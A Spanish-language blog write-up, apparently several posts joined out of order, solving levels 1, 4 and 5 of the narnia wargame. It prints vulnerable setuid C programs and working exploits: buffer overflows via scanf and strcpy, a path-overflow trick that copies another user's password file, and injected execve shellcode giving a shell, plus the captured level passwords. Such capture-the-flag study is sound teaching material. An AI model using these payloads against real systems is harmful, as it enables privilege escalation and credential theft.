Este nivel, aunque parece distinto, realmente se resuelve igual que el nivel 3.

LEVEL5

El código de este nivel borra las variables de entorno antes de hacer un strcpy.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
 
extern char **environ;
 
int main(int argc,char **argv){
        char buffer[100];
        int i;
 
        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
 
        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        }
 
        return 0;
}

Al principio pensé que habría que hacer algo con las variables de entorno, pero finalmente la solución es volver a inyectar un shellcode en el búfer.

level5@narnia:/wargame$ ./level5 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
> \xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x70\xfb\xff\xbf"`
sh-3.1$ cat /home/level6/.passwd
gO2CErxY
sh-3.1$

El siguiente nivel no es tan sencillo a primera vista.

Parece que sigo con suerte y he conseguido pasar también el nivel 4 del wargame narnia, que es algo gracioso.

LEVEL4

Como siempre, vamos a ver qué pasa si ejecutamos el fichero correspondiente:/wargame/level4.

level4@narnia:/wargame$ /wargame/level4
usage, /wargame/level4 file, will send contents of file 2 /dev/null
level4@narnia:/wargame$ /wargame/level4 ./level4.c
copied contents of ./level4.c to a safer place... (/dev/null)
level4@narnia:/wargame$ /wargame/level4 ./pollo
error opening ./pollo

Parece que el objetivo es proporcionar un fichero y lo envía al agujero negro de nuestro sistema.

Analicemos el código para ver dónde hay que hacer la trampa para conseguir que /home/level5/.passwd acabe copiándose a algún fichero que no sea /dev/null.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
 
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
 
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
 
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
        /* close 'em */
        close(ifd);
        close(ofd);
 
        exit(1);
}

De nuevo el problema está en el uso de strcpy y el objetivo es machacar ifile con el contenido del primer argumento del comando. Si nuestro argumento tiene más de 32 caracteres, conseguiremos sobre-escribir /dev/null con el nombre de un fichero destino y hacer que ifile sea /home/level5/.passwd.

Hacer el desbordamiento es fácil, el problema es decidir qué incluimos. Lo que hay que darse cuenta, después de probar mucho, es de que si desbordamos ifile esta cadena no terminará en null.

Por lo tanto, el fichero de salida será una sub-cadena del fichero de entrada. Total que, una vez que te das cuenta de esto, ya es cuestión de ir probando para que el path coincida con el tamaño adecuado.

Recordad que sólo puede escribirse en /tmp.

level4@narnia:/tmp$ cd /tmp
level4@narnia:/tmp$ touch passwd
level4@narnia:/tmp$ chmod 777 passwd
level4@narnia:/tmp$ /wargame/level4 //../tmp/../tmp/../home/level5/.passwd
copied contents of //../tmp/../tmp/../home/level5/.passwd to a safer place... (passwd)
level4@narnia:/tmp$ cat passwd
i3DgDz91

Y aquí tenemos la contraseña para el siguiente nivel.

Por cierto, las contraseñas cambian cada cierto tiempo, así que tendréis que volver a pasar todos los niveles otra vez cada vez que lo hagan.

Hace tiempo intenté hacerme el wargame Leviathan de intruded.net (cuando @roman_soft lo publicó en twitter) sin mucho éxito. La verdad es que nunca había jugado a un juego así y no tenía muy claro cómo hacerlo.

El otro día me picó otra vez la curiosidad y me decidí a hacerlo, con algo de ayuda, si hacía falta (que hizo :)).

Si os pilla la curiosidad y queréis ir pillando la gracia de este tipo de juegos y lo que se aprende de ellos (que para eso se juega, realmente) podéis echar un ojo a la solución por @joseselvi.

Podéis ir intentando resolverlo vosotros mismos y, si os atrancáis leed hasta que os venga la inspiración.

Pero bueno, este artículo no va precisamente de este juego sino del siguiente en dificultad que publica intruded. Se trata de narnia. Este lo he empezado a hacer yo solo y, si la solución está por ahí, yo aún ni la he buscado.

El objetivo es, igual que en el anterior, ir consiguiendo acceso a cuentas de otros usuarios. Se empieza con el usuario level1 y el objetivo es conseguir level2 y así sucesivamente.

Para ello, suele haber unos ficheros en /wargame con setuid a los que hay que encontrar alguna vulnerabilidad, truco o lo que sea que haga que puedas impersonar al otro usuario lo suficiente como para leer un fichero .passwd en su directorio personal.

En el caso de narnia te dan el código fuente del ejecutable para ayudarte a encontrar la solución.

Sin más dilación, os describo como resolví el nivel 1.

LEVEL1

Lo primero que debéis hacer es entrar en el servidor:

ssh -p 10102 level1@narnia.intruded.net

La contraseña es ‘narnia’.

El fichero que nos interesa es /wargame/level1. Si lo ejecutamos nos pregunta
por un valor para convertir una cadena en otra (???).

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

Si echamos un ojo al código, entendemos que se trata de un desbordamiento de búffer que debemos hacer al array buf para que cambie la variable val.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        long val=0x41414141;
        char buf[20];
 
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
 
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
 
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
 
        return 0;
}

Por lo tanto tenemos que introducir 24 caracteres, 20 para llenar buf y 4 para cambiar val. Los primeros veinte caracteres dan igual, así que centremonos en los 4 últimos. Para extraer los valores he usado irb, la interfaz interactiva de ruby (en mi equipo, no en narnia).

$ irb
>> val=[0xde, 0xad, 0xbe, 0xef]
=> [222, 173, 190, 239]
>> val.map { |c| c.chr }
=> ["\336", "\255", "\276", "\357"]
>> val.map { |c| c.chr }.reverse
=> ["\357", "\276", "\255", "\336"]
>> val.map { |c| c.chr }.reverse.join
=> "\357\276\255\336"

Después de probar varias veces te das cuenta de que los caracteres entran al revés en val, de ahí el reverse. Y ahora sólo hay que probarlo. Pero hay un problema, estos caracteres no son imprimibles (por eso aparecen en octal). Por lo tanto, ¿cómo se los metemos al fichero.

Si probáis a imprimirlos y capturar de la pantalla, no os va a funcionar. Entonces, envíémoslos con una redirección:

echo -e "00001111000011110000\357\276\255\336" | ./level1

Bieennn… ya somos level2, ¿verdad? Comprobemoslo:

level1@narnia:~$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)

Ups. ¿Qué ha pasado? Pues que cuando ./level1 se ‘convierte’ en /bin/sh espera recibir la entrada estándar, pero esta está conectada a la salida de echo que se ha acabado, así que esta shell se acaba también y no somos capaces de usarla :(.

Por mucho que intenté meter los caracteres directamente, no pude hacerlo. Así que probé y probé y busqué y busqué. Encontré la solución en esta pregunta de StackOverflow. Así que hice lo siguiente:

echo -e "00001111000011110000\357\276\255\336" > /tmp/dead
(cat /tmp/dead; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00001111000011110000ᆳ�
val: 0xdeadbeef

Ahora sí que tenemos una shell con level2:

id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)
cat /home/level2/.passwd
eij0OoG+

Y esta es la contraseña para el siguiente nivel. Ya os contaré si consigo pasarlo.